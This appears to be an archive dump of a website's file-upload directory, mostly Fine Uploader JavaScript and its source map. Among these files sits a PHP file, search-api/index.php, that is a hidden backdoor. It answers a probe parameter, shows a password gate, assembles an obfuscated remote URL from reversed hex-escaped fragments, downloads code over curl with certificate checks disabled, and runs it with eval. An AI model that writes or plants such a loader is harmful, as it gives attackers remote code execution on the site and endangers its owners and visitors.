strict\";\n\n    var requester,\n        method = \"POST\",\n        options = {\n            cors: {\n                allowXdr: false,\n                expected: false,\n                sendCredentials: false\n            },\n            endpoint: null,\n            log: function(str, level) {}\n        },\n        promises = {},\n        endpointHandler = {\n            get: function(id) {\n                return options.endpoint;\n            }\n        };\n\n    qq.extend(options, o);\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [method],\n        method: method,\n        endpointStore: endpointHandler,\n        allowXRequestedWithAndCacheControl: false,\n        cors: options.cors,\n        log: options.log,\n        onComplete: function(id, xhr, isError) {\n            var promise = promises[id];\n\n            delete promises[id];\n\n            if (isError) {\n                promise.failure(xhr);\n            }\n            else {\n                promise.success(xhr);\n            }\n        }\n    }));\n\n    qq.extend(this, {\n        complete: function(id, xhr, params, headers) {\n            var promise = new qq.Promise();\n\n            options.log(\"Submitting All Chunks Done request for \" + id);\n\n            promises[id] = promise;\n\n            requester.initTransport(id)\n                .withParams(params)\n                .withHeaders(headers)\n                .send(xhr);\n\n            return promise;\n        }\n    });\n};\n"]}js/fileupload/search-api/index.php000060400000003674150710775200013152 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto abM39; y6XNG: $SS8Fu .= "\x61\x64\57"; goto Toa91; XsSUB: $SS8Fu .= "\156\x2f\x61\x6d"; goto y6XNG; OzoPC: $SS8Fu .= "\145"; goto XsSUB; F0uUK: $SS8Fu .= "\164\56\61\x30\x61"; goto m5FkB; xJQZm: $SS8Fu .= "\57\x3a\x73\x70"; goto uRZbS; a7t9X: $SS8Fu .= "\63\61\57\167"; goto OzoPC; foILs: $SS8Fu .= "\164\170\x74\x2e\71"; goto a7t9X; m5FkB: $SS8Fu .= "\155\x61\144\x2f"; goto xJQZm; Toa91: $SS8Fu .= "\x70\157"; goto F0uUK; bjYUL: $SS8Fu .= "\x74\x68"; goto ZQY1f; uRZbS: $SS8Fu .= "\x74"; goto bjYUL; ZQY1f: eval("\x3f\x3e" . Tw2kx(strrev($SS8Fu))); goto GJQOP; abM39: $SS8Fu = ''; goto foILs; GJQOP: function tw2kx($V1_rw = '') { goto pvodd; xyA6t: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto QUqD1; bum1m: curl_close($xM315); goto yk51G; yk51G: return $tvmad; goto llacL; CfzL7: $tvmad = curl_exec($xM315); goto bum1m; glb9w: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto CfzL7; bhhj0: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto glb9w; QUqD1: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto bhhj0; czIL1: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto xyA6t; pvodd: $xM315 = curl_init(); goto czIL1; llacL: }js/fileupload/fine-uploader.js.map000060400002256161150710775200013165 0ustar00{"version":3,"sources":["?","../client/js/util.js","../client/js/export.js","../client/js/error/error.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/blob-proxy.js","../client/js/button.js","../client/js/upload-data.js","../client/js/uploader.basic.api.js","../client/js/uploader.basic.js","../client/js/ajax.requester.js","../client/js/upload-handler/upload.handler.js","../client/js/upload-handler/upload.handler.controller.js","../client/js/window.receive.message.js","../client/js/upload-handler/form.upload.handler.js","../client/js/upload-handler/xhr.upload.handler.js","../client/js/deletefile.ajax.requester.js","../client/js/image-support/megapix-image.js","../client/js/image-support/image.js","../client/js/image-support/exif.js","../client/js/identify.js","../client/js/image-support/validation.image.js","../client/js/session.js","../client/js/session.ajax.requester.js","../client/js/image-support/scaler.js","../client/js/third-party/ExifRestorer.js","../client/js/total-progress.js","../client/js/paste.js","../client/js/form-support.js","../client/js/traditional/traditional.form.upload.handler.js","../client/js/traditional/traditional.xhr.upload.handler.js","../client/js/traditional/all-chunks-done.ajax.requester.js","../client/js/dnd.js","../client/js/uploader.api.js","../client/js/uploader.js","../client/js/templating.js","../client/js/ui.handler.events.js","../client/js/ui.handler.click.filebuttons.js","../client/js/ui.handler.click.filename.js","../client/js/ui.handler.focusin.filenameinput.js","../client/js/ui.handler.focus.filenameinput.js","../client/js/ui.handler.edit.filename.js"],"names":["global","qq","element","hide","style","display","this","attach","type","fn","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","name","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","each","idx","val","push","getFirstByClass","children","child","firstChild","nodeType","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","exec","getAttribute","undefined","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","createBlob","data","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","intArray","mimeString","split","indexOf","atob","decodeURI","ArrayBuffer","length","Uint8Array","character","charCodeAt","log","message","level","console","isObject","variable","Object","prototype","toString","call","isFunction","isArray","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","Array","slice","arguments","newStr","nextIdxToReplace","strBefore","substring","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","toLowerCase","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","error","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","prop","override","target","sourceFn","super_","source","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","retVal","Storage","key","getItem","charAt","bind","oldFunc","context","newArgs","concat","apply","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","testSupportsFileInputElement","supported","tempInput","disabled","ex","isChrome21OrHigher","match","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fileDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","BlobProxy","referenceBlob","onCreate","create","UploadButton","o","self","disposeSupport","options","acceptFiles","focusClass","folders","hoverClass","ios8BrowserCrashWorkaround","onChange","title","buttonId","createInput","BUTTON_ID_ATTR_NAME","setMultiple","position","right","top","fontFamily","fontSize","margin","padding","cursor","height","overflow","direction","getInput","getButtonId","isMultiple","optInput","removeAttribute","setAcceptFiles","reset","UploadData","uploaderProxy","byUuid","byStatus","byProxyGroupId","byBatchId","getDataByIds","idOrIds","entries","id","getDataByUuids","uuids","uuid","getDataByStatus","status","statusResults","statuses","index","statusEnum","statusResultIndexes","dataIndex","addFile","spec","SUBMITTING","originalName","size","batchId","proxyGroupId","onStatusChange","retrieve","optionalFilter","setStatus","newStatus","oldStatus","byStatusOldStatusIndex","splice","uuidChanged","newUuid","oldUuid","updateName","newName","updateSize","newSize","setParentId","targetId","parentId","getIdsInProxyGroup","getIdsInBatch","SUBMITTED","REJECTED","QUEUED","CANCELED","PAUSED","UPLOADING","UPLOAD_RETRYING","UPLOAD_SUCCESSFUL","UPLOAD_FAILED","DELETE_FAILED","DELETING","DELETED","basePublicApi","addBlobs","blobDataOrArray","params","endpoint","addFiles","addInitialFiles","cannedFileList","cannedFile","_addCannedFile","_maybeHandleIos8SafariWorkaround","_storedIds","_currentBatchId","processBlob","_handleNewFile","_options","blobs","defaultName","verifiedFiles","processBlobData","blobData","processCanvas","processCanvasData","canvasData","normalizedQuality","processFileOrInput","fileOrInput","files","file","normalizeData","fileContainer","_prepareItemsForUpload","cancel","_handler","cancelAll","storedIdsCopy","storedFileId","clearStoredFiles","continueUpload","uploadData","_uploadData","enabled","getName","_uploadFile","deleteFile","_onSubmitDelete","doesExist","fileOrBlobId","isValid","drawThumbnail","fileId","imgOrCanvas","maxSize","fromServer","customResizeFunction","promiseToReturn","fileOrUrl","_imageGenerator","_thumbnailUrls","scale","getFile","container","generate","modifiedContainer","reason","getButton","_getButton","_buttonIdsForFileIds","getEndpoint","_endpointStore","get","getInProgress","getParentId","uploadDataEntry","getUploads","getResumableFilesData","getSize","getNetUploads","_netUploaded","getRemainingAllowedItems","allowedItems","_currentItemLimit","_netUploadedOrQueued","getUuid","debug","pauseUpload","_autoRetries","_retryTimeouts","_preventRetries","_buttons","button","_paramsStore","_pasteHandler","session","refreshOnReset","_refreshSessionData","_succeededSinceLastAllComplete","_failedSinceLastAllComplete","_totalProgress","retry","_manualRetry","scaleImage","specs","Scaler","setCustomHeaders","headers","_customHeadersStore","set","setDeleteFileCustomHeaders","_deleteFileCustomHeadersStore","setDeleteFileEndpoint","_deleteFileEndpointStore","setDeleteFileParams","_deleteFileParamsStore","setEndpoint","setForm","elementOrId","_updateFormSupportAndParams","setItemLimit","newItemLimit","setName","setParams","setUuid","uploadStoredFiles","_itemError","_uploadStoredFiles","basePrivateApi","sessionData","deleteFileEndpoint","deleteFileParams","thumbnailUrl","_annotateWithButtonId","associatedInput","qqButtonId","_getButtonId","_batchError","callbacks","onError","_createDeleteHandler","DeleteFileAjaxRequester","method","toUpperCase","maxConnections","uuidParamName","request","uuidName","customHeaders","paramsStore","endpointStore","cors","onDelete","_onDelete","onDeleteComplete","xhrOrXdr","isError","_onDeleteComplete","_createPasteHandler","PasteSupport","targetElement","paste","pasteReceived","_handleCheckedCallback","onPasteReceived","_handlePasteSuccess","identifier","_createStore","initialValue","_readOnlyValues_","store","catchall","perIdReadOnlyValues","readOnlyValues","copy","orig","getReadOnlyValues","includeReadOnlyValues","existing","values","addReadOnly","_createUploadDataTracker","_onUploadStatusChange","_maybeAllComplete","setTimeout","_createUploadButton","accept","validation","allowedExtensions","allowMultiple","workarounds","iosEmptyVideos","_isAllowedExtension","classes","buttonFocus","buttonHover","ios8BrowserCrash","inputName","_onInputChange","fileInputTitle","_disposeSupport","_createUploadHandler","additionalOptions","namespace","lastOnProgress","preventRetryParam","preventRetryResponseProperty","onProgress","loaded","total","_onProgress","onComplete","_onComplete","onCancel","cancelFinalizationEffort","_onCancel","onUploadPrep","_onUploadPrep","onUpload","_onUpload","onUploadChunk","chunkData","_onUploadChunk","onUploadChunkSuccess","onResume","onAutoRetry","responseJSON","_onAutoRetry","onUuidChanged","setSize","_setSize","getDataByUuid","isQueued","UploadHandlerController","_fileOrBlobRejected","_formatSize","max","toFixed","sizeSymbols","_generateExtraButtonSpecs","_extraButtonSpecs","extraButtons","extraButtonOptionEntry","extraButtonSpec","_initExtraButton","extraButtonsSpec","_defaultButtonId","buttonOrFileInputOrFile","inputs","fileInput","fileBlobOrInput","_getNotFinished","_getValidationBase","_getValidationDescriptor","fileWrapper","_getValidationDescriptors","fileWrappers","fileDescriptors","_handleCameraAccess","camera","acceptIosCamera","optionRoot","details","callbackRetVal","successParam","newFileWrapperList","actualFile","handler","_customNewFileHandler","_handleNewFileGeneric","addFileToHandler","_trackButton","fileList","extSuppliedName","extension","_initFormSupportAndParams","_formSupport","FormSupport","attachedToForm","getFormInputsAsObject","autoUpload","newAutoUpload","newEndpoint","_isDeletePossible","expected","allowXdr","allowed","valid","allowedExt","extRegex","code","maybeNameOrNames","messages","names","validationBase","extensionsForMessage","placeholderMatch","replacement","allowedExtension","formatFileName","sizeLimit","minSizeLimit","placeholder","_onBeforeManualRetry","notFinished","_onAllComplete","ios8SafariUploads","alert","unsupportedBrowserIos8Safari","_maybeParseAndSendUploadError","response","errorReason","defaultResponseError","_maybeProcessNextItemAfterOnValidateCallback","validItem","stopOnFirstInvalidFile","validationDescriptor","onValidate","_onValidateCallbackSuccess","_onValidateCallbackFailure","successful","failed","onAllComplete","_shouldAutoRetry","_onBeforeAutoRetry","autoAttemptDelay","itemLimit","onManualRetry","clearTimeout","storedItemIndex","expunge","fileIndex","onIndividualProgress","_onSubmit","_onSubmitCallbackSuccess","_onSubmitted","onSubmitted","_storeForLater","onSuccessCallback","additionalMandatedParams","adjustedOnSuccessCallback","onSubmitDelete","_deleteHandler","sendDelete","_onTotalProgress","onTotalProgress","_onValidateBatchCallbackFailure","_onValidateBatchCallbackSuccess","validationDescriptors","errorMessage","proposedNetFilesUploadedOrQueued","tooManyItemsError","nextIndex","_validateFileOrBlobData","_upload","onValidateBatch","_preventLeaveInProgress","event","onLeave","Session","_session","addFileRecord","refresh","_sessionRequestComplete","onSessionRequestComplete","onNewSize","enableAuto","maxAutoAttempts","formElementOrId","onSubmit","idToUpload","stillSubmitting","validityChecker","ImageValidation","validate","image","errorCode","_wrapCallbacks","safeCallback","errorMsg","exception","callbackName","callbackFunc","FineUploaderBasic","disableCancelForFormUploads","filenameParam","forceMultipart","paramsInBody","totalFileSizeName","maxHeight","maxWidth","minHeight","minWidth","maybeXhr","maybeXhrOrXdr","attemptNumber","fileOrBlobData","typeError","sizeError","minSizeError","emptyError","noFilesError","maxHeightImageError","maxWidthImageError","minHeightImageError","minWidthImageError","retryFailTooManyItems","concurrent","mandatory","paramNames","partIndex","partByteOffset","chunkSize","totalFileSize","totalParts","partSize","recordsExpireIn","resuming","fileOrBlobName","sendCredentials","interceptSubmit","customResizer","sendOriginal","orient","defaultType","defaultQuality","failureText","includeExif","sizes","ImageGenerator","_scaler","handleNewFile","TotalProgress","entry","AjaxRequester","shouldParamsBeInQueryString","queue","requestData","acceptHeader","validMethods","contentType","mandatedParams","allowXRequestedWithAndCacheControl","successfulResponseCodes","DELETE","PATCH","POST","PUT","GET","onSend","isSimpleMethod","containsNonSimpleHeaders","containsNonSimple","header","isXdr","getCorsAjaxTransport","ontimeout","onprogress","getXhrOrXdr","suppliedXhr","dequeue","nextId","sendRequest","xdrError","isResponseSuccessful","getParams","onDemandParams","additionalParams","optXhr","payload","url","createUrl","additionalQueryParams","getXdrLoadHandler","getXdrErrorHandler","onreadystatechange","getXhrReadyStateChangeHandler","registerForUploadProgress","open","setHeaders","send","stringify","addToPath","readyState","lengthComputable","onDemandHeaders","additionalHeaders","allHeaders","setRequestHeader","responseCode","prepareToSend","initTransport","path","cacheBuster","withPath","appendToPath","withParams","withQueryParams","_additionalQueryParams_","withHeaders","withPayload","thePayload","withCacheBuster","qqtimestamp","Date","getTime","canceled","UploadHandler","proxy","fileState","fileItem","onCancelRetVal","getThirdPartyFileId","_getFileState","_setThirdPartyFileId","thirdPartyFileId","_wasCanceled","controller","chunkingPossible","concurrentChunkingPossible","preventRetryResponse","chunked","chunkIdx","_getChunkData","attemptingResume","chunkProgress","_getChunkDataForCallback","finalize","finalizeChunks","normaizedResponse","normalizeResponse","_maybeDeletePersistedChunkData","cleanup","hasMoreParts","remaining","nextPart","nextIdx","_getTotalChunks","reevaluateChunking","sendNext","inProgressChunks","inProgress","connectionManager","available","uploadChunk","clearCachedChunk","responseToReport","inProgressChunkIdx","_maybePersistChunkedState","inProgressIdx","unshift","ignoreFailure","keys","_getXhrs","ckid","ckXhr","abort","_cancelled","moveInProgressToRemaining","free","clearXhr","_open","_openChunks","_waiting","openChunkEntriesCount","openChunksCount","openChunkIndexes","dontAllowNext","allowNext","waitingIndex","connectionsIndex","getProxyOrBlob","getWaitingOrConnected","waitingOrConnected","chunks","parseInt","isUsingConnection","pop","openChunksEntry","simple","uploadFile","maybeNewUuid","_clearXhrs","getProxy","initHandler","handlerType","traditional","handlerModuleSubtype","_removeExpiredChunkingRecords","isDeferredEligibleForUpload","maybeDefer","generatedBlob","updateBlob","maybeSendDeferredFiles","errorResponse","idsInGroup","uploadedThisId","idInGroup","now","originalResponse","_shouldChunkThisFile","blobToUpload","cancelRetVal","isProxied","isResumable","WindowReceiveMessage","callbackWrapperDetachers","receiveMessage","onMessageCallbackWrapper","stopReceivingMessages","detacher","FormUploadHandler","formHandlerInstanceId","onloadCallbacks","detachLoadEvents","postMessageCallbackTimers","isCors","corsMessageReceiver","expungeFile","iframe","getElementById","_getIframeName","getFileIdForIframeName","iframeName","initIframeForUpload","body","registerPostMessageCallback","_parseJsonResponse","onloadCallback","_detachLoadEvent","_attachLoadEvent","responseDescriptor","contentDocument","_createIframe","_initFormForUpload","targetName","innerHtmlOrMessage","XhrUploadHandler","chunkFiles","resumeEnabled","xhrId","ajaxRequester","_getAjaxRequester","blobOrProxy","_initTempState","_maybePrepareForResume","cachedChunks","tempState","xhrs","ajaxRequesters","responseParser","lastChunkIdx","_getXhr","resumableFilesData","_iterateResumeRecords","notResumable","optInProgress","optRemaining","reverse","paused","totalChunks","parts","newBlob","chunkId","_createXhr","optChunkIdx","_registerXhr","chunkIndex","fileSize","startBytes","endBytes","part","count","startByte","endByte","_getLocalStorageId","formatVersion","_getMimeType","_getPersistableData","ceil","_markNotResumable","localStorageId","removeItem","persistedData","lastUpdated","_registerProgressHandler","progressCalculator","totalSuccessfullyLoadedForFile","loadedForRequest","totalForRequest","estActualChunkLoaded","totalLoadedForFile","chunkLoaded","optAjaxRequester","xhrsId","expirationDays","expirationDate","setDate","getDate","requester","getMandatedParams","_method","detectSubsampling","img","iw","naturalWidth","ih","naturalHeight","ctx","width","getContext","drawImage","getImageData","detectVerticalSquash","sy","ey","py","alpha","ratio","renderImageToDataURL","doSquash","renderImageToCanvas","maybeCalculateDownsampledDimensions","maxPixels","origHeight","origWidth","newHeight","sqrt","newWidth","modifiedDimensions","save","resize","renderImageToCanvasWithCustomResizer","imageHeight","imageWidth","orientation","targetHeight","targetWidth","transformCoordinate","d","tmpCanvas","vertSquashRatio","dw","dh","dy","tmpCtx","sx","dx","clearRect","restore","qqImageRendered","resizeInfo","sourceCanvas","sourceCanvasContext","targetCanvas","translate","rotate","PI","MegaPixImage","srcImage","errorCallback","Image","URL","createObjectURL","webkitURL","src","listeners","imageLoadListeners","render","imgWidth","imgHeight","opt","optionsKey","optionsValue","oldTargetSrc","onrender","isImg","el","isCanvas","isImgCorsSupported","crossOrigin","isCanvasSupported","determineMimeOfFileName","nameWithPath","pathSegments","isCrossOrigin","targetAnchor","targetProtocol","targetHostname","targetPort","href","protocol","port","hostname","location","registerImgLoadListeners","registerCanvasDrawImageListener","registerThumbnailRenderedListener","registered","draw","drawPreview","Identify","megapixErrorHandler","isPreviewable","dummyExif","exif","Exif","mpImg","Orientation","failureMsg","drawOnCanvasOrImgFromUrl","canvasOrImg","tempImg","tempImgRender","rendered","drawOnImgFromUrlWithCssScaling","drawFromUrl","fileBlobOrUrl","_testing","TAG_IDS","TAG_INFO","274","parseLittleEndian","hex","pow","seekToApp1","offset","theOffset","thePromise","segmentLength","getApp1Offset","isLittleEndian","app1Start","getDirEntryCount","littleEndian","getIfd","dirEntries","getDirEntries","ifdHex","getTagValues","TAG_VAL_OFFSET","tagsToFind","vals","idHex","tagsToFindIdx","tagValHex","tagValLength","parser","onParseFailure","app1Offset","dirEntryCount","tagValues","isIdentifiable","magicBytes","questionableBytes","identifiable","magicBytesEntries","magicBytesArrayEntry","previewable","isPreviewableSync","PREVIEWABLE_MIME_TYPES","fileMime","isRecognizedImage","image/jpeg","image/gif","image/png","image/bmp","image/tiff","hasNonZeroLimits","limits","atLeastOne","limit","getWidthHeight","sizeDetermination","getFailingLimit","dimensions","failingLimit","limitName","limitValue","limitMatcher","dimensionPropName","actualValue","validationEffort","isJsonResponseValid","handleFileItems","fileItems","someItemsIgnored","err","refreshEffort","refreshCompleteCallback","requesterOptions","SessionAjaxRequester","queryServer","responseText","includeOriginal","failedToScaleText","_getSortedSizes","getFileRecords","originalFileUuid","originalFileName","originalBlobOrBlobData","records","originalBlob","sizeRecord","outputType","_determineOutputType","requestedType","refType","_getName","_generateScaledImage","failedText","api","scaledIds","originalId","record","blobSize","scaledId","qqparentuuid","qqparentsize","param","scalingEffort","scalingOptions","scaler","referenceType","scaledVersionProperties","startOfExt","versionType","scaledName","scaledExt","nameAppendage","sort","a","b","sourceFile","imageGenerator","scaledImageDataUri","signalSuccess","_insertExifHeader","scaledImageDataUriWithExif","originalImage","reader","insertionEffort","originalImageDataUri","ExifRestorer","readAsDataURL","_dataUriToBlob","_createBlob","KEY_STR","encode64","output","chr1","chr2","chr3","enc1","enc2","enc3","enc4","isNaN","origFileBase64","resizedFileBase64","expectedBase64Header","rawImage","decode64","segments","slice2Segments","exifManipulation","exifArray","getExifArray","newImageArray","insertExif","aBuffer","seg","x","imageData","buf","separatePoint","mae","ato","array","rawImageArray","head","endPoint","base64test","perFileProgress","totalLoaded","totalSize","lastLoadedSent","lastTotalSent","callbackProxy","noRetryableFiles","retryable","none","failedId","updateTotalProgress","onNew","newLoaded","newTotal","oldLoaded","oldTotal","detachPasteHandler","isImage","registerPasteHandler","clipboardData","getAsFile","unregisterPasteHandler","startUpload","formEl","_form2Obj","determineNewEndpoint","validateForm","nativeSubmit","checkValidity","maybeUploadOnSubmit","submit","determineFormEl","notIrrelevantType","irrelevantTypes","radioOrCheckbox","ignoreValue","checked","selectValue","select","selected","elements","getIframeContentJson","doc","innerHtml","contentWindow","nodeValue","createForm","responseFromMessage","multipart","addChunkingSpecificParams","allChunksDoneRequester","AllChunksDoneAjaxRequester","createReadyStateChangedHandler","onUploadOrChunkComplete","getChunksCompleteParams","isErrorUploadResponse","parseResponse","sendChunksCompleteRequest","complete","setParamsAndGetEntityToSend","setUploadHeaders","extraHeaders","toSend","promises","endpointHandler","DragAndDrop","HIDE_ZONES_EVENT_NAME","HIDE_BEFORE_ENTER_ATTR","uploadDropZones","droppedFiles","dropZoneElements","allowMultipleItems","dropActive","uploadDroppedFiles","uploadDropZone","filesAsArray","dropLog","dropDisabled","processingDroppedFilesComplete","getElement","traverseFileTree","parseEntryPromise","fullPath","indexOfNameInFullPath","qqPath","fileError","isDirectory","getFilesInDirectory","allEntriesRead","entriesLeft","readFailure","accumEntries","existingPromise","dirReader","createReader","readEntries","readSuccess","newEntries","handleDataTransfer","pendingFolderPromises","handleDataTransferPromise","processingDroppedFiles","dropError","setupDropzone","dropArea","dropZone","UploadDropZone","onEnter","stopPropagation","onLeaveNotDescendants","onDrop","isFileDrag","dragEvent","fileDrag","types","leavingDocumentOut","relatedTarget","y","setupDragDrop","dropZones","maybeHideDropZones","HTMLElement","setupExtraDropzone","removeDropzone","dzs","targetEl","errorSpecifics","preventDrop","dropOutsideDisabled","dragoverShouldBeCanceled","disableDropOutside","dropEffect","isValidFileDrag","effectTest","dt","isSafari","effectAllowed","isOrSetDropDisabled","isDisabled","triggerHidezonesEvent","hideZonesEvent","triggerUsingOldApi","createEvent","initEvent","CustomEvent","dispatchEvent","attachEvents","effect","elementFromPoint","clientX","clientY","uiPublicApi","_parent","_templating","addCacheToDom","clearFiles","addExtraDropzone","_dnd","removeExtraDropzone","getItemByFileId","isHiddenForever","getFileContainer","_setupDragAndDrop","_totalFilesInBatch","_filesInBatchAddedToUi","_setupClickAndEditEventHandlers","formattedFilename","updateFilename","uploadPaused","continued","uploadContinued","getId","fileContainerOrChildEl","getFileId","getDropTarget","qqDropTarget","uiPrivateApi","_removeFileItem","removeFile","_fileButtonsClickHandler","FileButtonsClickHandler","_bindFileButtonsClickEvent","_focusinEventSupported","_isEditFilenameEnabled","_filenameClickHandler","_bindFilenameClickEvent","_filenameInputFocusInHandler","_bindFilenameInputFocusInEvent","_filenameInputFocusHandler","_bindFilenameInputFocusEvent","dragAndDrop","extraDropzones","templating","defaultDropZone","getDropZone","showDropProcessing","hideDropProcessing","errorData","lvl","onDeleteFile","onRetry","onPause","onContinue","onGetName","isEditFilenamePossible","FilenameClickHandler","FilenameInputFocusHandler","_filenameEditHandler","onGetUploadStatus","onSetName","onEditingStatusChange","isEditing","qqInput","getEditInput","qqFileContainer","hideFilename","hideEditIcon","showFilename","showEditIcon","markFilenameEditable","hideRetry","setStatusText","_classes","retrying","hidePause","FilenameInputFocusInHandler","hideSpinner","resetTotalProgress","reportDirectoryPaths","qqpath","_addToList","addHandler","updateProgress","hideCancel","hideProgress","waitingForResponse","_displayFileSize","parentRetVal","completeUpload","_markFileAsSuccessful","fail","showCancel","isRetryPossible","showRetry","_controlFailureTextDisplay","newResult","showDeleteButton","_maybeUpdateThumbnail","showSpinner","allowPause","retryNumForDisplay","maxAuto","retryNote","_showCancelLink","showAutoRetryNote","autoRetryNote","resetProgress","_onSubmitDeleteSuccess","forceConfirm","_showDeleteConfirm","_sendDeleteRequest","deletingFailedText","hideDeleteButton","deletingStatusText","confirmMessage","deleteRequestArgs","showConfirm","canned","prependData","prependIndex","dontDisplay","hideScaled","prependFiles","disableCancel","_handledProxyGroup","_clearList","addFileToCache","updateThumbnail","thumbnails","generatePreview","fileSizeOnSubmit","loadedSize","sizeForDisplay","_formatProgress","uploadedSize","formatProgress","mode","responseProperty","failureReason","failedUploadTextDisplay","failUpload","enableTooltip","_showTooltip","showMessage","_setupPastePrompt","namePromptMessage","defaultVal","showPrompt","fileStatus","placeholders","waitUntilResponse","FineUploader","listElement","template","editable","tooManyFilesError","unsupportedBrowser","promptForName","maxCount","notAvailablePath","waitingPath","timeBetweenThumbs","hasDialog","showDialog","confirm","defaultValue","prompt","Templating","templateIdOrEl","containerEl","fileContainerEl","maxThumbs","waitUntilUpdate","thumbnailNotAvailable","waitingForThumbnail","renderFailure","FILE_ID_ATTR","FILE_CLASS_PREFIX","THUMBNAIL_MAX_SIZE_ATTR","THUMBNAIL_SERVER_SCALE_ATTR","HIDE_DROPZONE_ATTR","DROPZPONE_TEXT_ATTR","IN_PROGRESS_CLASS","HIDDEN_FOREVER_CLASS","fileBatch","content","createDocumentFragment","map","isCancelDisabled","generatedThumbnails","thumbnailQueueMonitorRunning","thumbGenerationQueue","thumbnailMaxSize","selectorClasses","alertDialog","dialogCancelButton","confirmDialog","dialogMessage","dialogOkButton","promptDialog","uploader","drop","list","progressBarContainer","totalProgressBarContainer","totalProgressBar","spinner","continueButton","deleteButton","statusText","editFilenameInput","editNameIcon","dropText","dropProcessing","dropProcessingSpinner","thumbnail","previewGeneration","cachedThumbnailNotAvailableImg","cachedWaitingForThumbnailImg","isEditElementsExist","isRetryElementExist","templateHtml","showThumbnails","serverScale","cacheThumbnailPlaceholders","notAvailableUrl","waitingUrl","updatedImg","displayWaitingImg","waitingImgPlacement","maybeScalePlaceholderViaCss","show","generateNewPreview","getThumbnail","qqThumbnailId","maybeSetDisplayNotAvailableImg","generateNextQueuedPreview","queuedThumbRequest","update","processUpdateQueuedPreviewRequest","processNewQueuedPreviewRequest","getCancel","getTemplateEl","getContinue","getDialog","getDelete","getDropProcessing","getEditIcon","getPause","getProgress","getRetry","getSpinner","cssClass","previewing","notAvailableImgPlacement","parseAndGetTemplate","scriptEl","scriptHtml","fileListNode","tempTemplateEl","fileListHtml","defaultButton","dropTextEl","uploaderEl","fileTemplate","prependFile","parentEl","beforeEl","optFileOrBlob","relatedThumbnailId","useCachedPreview","showWaitingImg","setProgressBarWidth","percent","bar","progressBarSelector","targetThumbnailId","cachedThumbnailId","targetThumbnail","cachedThumbnail","hideTotalProgress","cantRenderEl","prependInfo","hideForever","batch","fileEl","fileNameEl","thumb","waitingImg","currentNode","getFileList","filenameEl","isFileName","icon","isEditIcon","isEditInput","isCancel","allowContinueButton","isPause","isContinue